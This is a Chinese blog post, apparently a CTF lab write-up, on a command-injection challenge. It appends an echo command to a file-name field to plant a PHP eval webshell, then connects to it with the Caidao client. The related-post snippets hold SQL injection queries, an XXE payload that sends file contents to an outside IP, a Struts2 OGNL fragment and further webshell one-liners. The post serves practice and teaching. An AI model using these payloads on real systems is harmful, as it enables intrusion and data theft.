安鸾渗透实战平台—— 命令执行01 (100分)

最新推荐文章于 2024-05-02 10:30:00 发布
最新推荐文章于 2024-05-02 10:30:00 发布
阅读量1k 收藏 1
点赞数
分类专栏： 安鸾渗透实战平台 文章标签： 安全 web安全 linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_50985113/article/details/123239345
版权

环境

安鸾渗透实战平台—— 命令执行01 (100分)
菜刀

题目

在这里插入图片描述

写入一句话木马

backup.tar.gz;echo '<?php @eval($_POST["666"]); ?>' >shell.php

echo：输出
<?php @eval($_POST["666"]); ?>：一句话木马的内容
>shell.php：写入到当前目录下的shell.php（没有就创建一个）

在这里插入图片描述

使用菜刀连接

在这里插入图片描述
在这里插入图片描述

安鸾渗透实战平台|SQL数字型注入详细教程
qq_67262179的博客
05-06 1756
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录@[TOC](文章目录) 安鸾渗透实战平台|SQL数字型注入详细教程前言一、Mysql默认的information库基本1.schemata表内容2.tables表内容3.columns表内容二、渗透靶场地址三、mysql渗透步骤1.进入靶场，查看页面基本信息2.判断是否存在注入3.判断是否存在 符号过滤4.判断数据库字段列名数量5.使用联合查询判断显位点6.基本信息收集7.查询指定数据（cms）库下所有的表名8.查询指定表明下的.
安銮渗透实战平台-SQL搜索型注入02
biubiubiuXXD的博客
11-09 93
安銮渗透测试实战平台
网站渗透实战篇.全面解析漏洞(20节课)
10-15
网站渗透实战篇.全面解析漏洞，内富解压密码，请看说明
安鸾渗透实战平台—— struts2远程命令执行01 (150分)
weixin_50985113的博客
01-27 1972
漏洞环境 安鸾渗透实战平台struts2远程命令执行01： http://www.whalwl.cn/challenge?id=74 Struts2漏洞检查工具2018版 V2.1 漏洞利用 1、来到目标网址随便输入密码并点击登录 2、获取上面的url http://106.15.50.112:8088/login/login_CheckLogin.action 3、打开工具，填写url并选择对应的漏洞版本号 4、获得回显并查看flag ...
安鸾渗透实战平台-命令执行系列
AAAAAAAAAAAA66的博客
01-27 1604
简单的回顾一下今天刷的命令执行题目 PHP代码练习 直接给一个编辑器可以命令执行，那么直接用php的命令执行函数system， <?php system('ls /');?> cat命令打开 webshell&中国菜刀 题目提示在数据库里 直接用蚁剑连接 进去之后发现一个 配置文件 <?php $servername = "mysql"; $username = "root"; $password = "root"; // 创建连接 $..
安鸾靶场 sql注入--SQL数字型GET注入01
s666789s的博客
04-06 602
1.SQL数字型GET注入01 （1）输入1’报错，输入-1返回正常，构造payload （2）判断显示位 -1 order by 3# -1 union select 1,2,3# （3）爆库：-1 union select 1,database(),3# （4）爆表：-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dwvs’# （5）爆列：-1 union se
代码审计：PHP代码审计01
zh的博客
10-16 377
靶场地址：http://www.whalwl.xyz:8017 解题准备：熟悉PHP中的参数传递 解题思路： 1、在查询账户页面构造payload,POST方式提交 name=or%2F**%2F1%3D1%23%27&submit=%E6%9F%A5%E8%AF%A2 2、直接获取flag, name=or/**/1=1#' ...
渗透测试练习靶场汇总
最新发布
zz12345600354的博客
05-02 267
Vulfocus 官网：在线演示：2.BUUCTF在线评测writeup文章：https://github.com/niudaii/my-vulstack-wphttps: //
安鸾sql报错型注入02
07-25
- *1* [安鸾渗透实战平台|SQL数字型GET注入02](https://blog.csdn.net/m_de_g/article/details/121705420)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_...
xml外部实体注入（XXE）
songbai220
12-10 346
XXE(xml外部实体注入) XML External Entity XXE介绍 XXE原理 建立*.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file;'>"> 运维人
安鸾之RCE系列
柠鹿的轨迹
08-28 850
0x00 webshell&中国菜刀 0o00 题目提示 0o01 执行过程 0x01 命令执行01 0o00 题目提示 0o01 Linux命令符 0o02 执行过程 0x02 破壳漏洞 0o00 题目提示 0o01 ShellShock 0o01 执行过程 0x03 PHPmailer 0o00 题目提示 0o01 phpMailer 0o02 执行过程 0x04 命令执行02 0o00 题目提示 0o01 DNSlog 0o01 执行过程...
安鸾渗透实战平台(基础）——目录扫描 (100分)
weixin_50985113的博客
04-08 2648
漏洞环境 安鸾渗透实战平台 kali （自带dirsearch） windows （解压网站备份包） 题目 下载字典，直接跑 dirsearch -u http://47.100.220.113:8008/ -w /root/桌面/dicc.txt -e php -t 1 -m HEAD -u：跟url -w：跟网站目录字典 -e：扩展搜索，这里搜索php -t：指定线程 -m：指定 请求方式 HEAD：一种http请求方式（跟get和post类似），不同的是他只返回请求的响应码，不返回响应的数据内
（一）安全攻防渗透测试实战指南笔记
larrylin222的博客
09-25 841
安鸾渗透实战平台---文件上传01
weixin_50985113的博客
05-15 1097
安鸾渗透实战平台——文件上传01 1、访问 2、找到上传点，全部都试了，就这里可以上传 3、准备木马，并把后缀改成.jpg，因为上传php时提示jpg，所以他应该做了过滤 4、我猜他是前端过滤，我这里抓个包，从数据包中把他的后缀改回来 找到目标 bp监听，浏览器点击上传 改成php 上传成功，这里我们发现了一个黑点，我们试试访问他的地址 找到了上传路径 由于是.php所以直接上蚁剑 连接成功 找到flag.txt 去看看，即可得到flag ...
MSF模拟渗透测试之一句话木马拿shell
lza20001103的博客
04-08 4026
MSF模拟渗透测试之一句话木马拿shell
如何使用命令行合成一句话图片木马
dhgogogogogogo的博客
11-28 3453
简单的合成一句话图片木马的方法，除此之外，还可以使用Photoshop合成
CMD写一句话木马
m0_49972294的博客
12-22 3184
linux： echo -e "<?@include(\$_POST["c"]);?>" > webshell.cc.php 会再同目录下生成webshell.cc.php一句话 密码：c win: echo ^<%eval request("c")%^> >>webshell.cc.asp 会再同目录下生成webshell.cc.asp一句话 密码：c ...
【web攻防】安鸾靶场开发框架Struct2远程命令执行 Struct2-S2-005/S2-053远程代码执行漏洞 靶场实战+学习记录
AAAAAAAAAAAA66的博客
02-15 3963
struct2 远程命令执行01 随便输入一个 k8工具连接 上传冰蝎自带马 冰蝎连接 Struct2远程命令执行02 漏洞地址 http://106.15.50.112:8027/hello.action 漏洞POC %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymp...
<?php eval($_POST[cmd]);?>
xiuzhentianting的博客
09-14 9357
执行POST来的cmd参数语句，别人可以以任何内容提交，这个程序把提交的数据当PHP语句执行，利用这个功能可以查看甚至修改你的数据库数据和文件。使用的方法可以随便编写一个HTML来完成，例如： http://....../你的名字.php> //这里面写PHP程序，随便连接数据和修改文件都可以，当然也可以用下面的语句查看你的PHP源文件来获取数据库路径和密码 $str=f
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值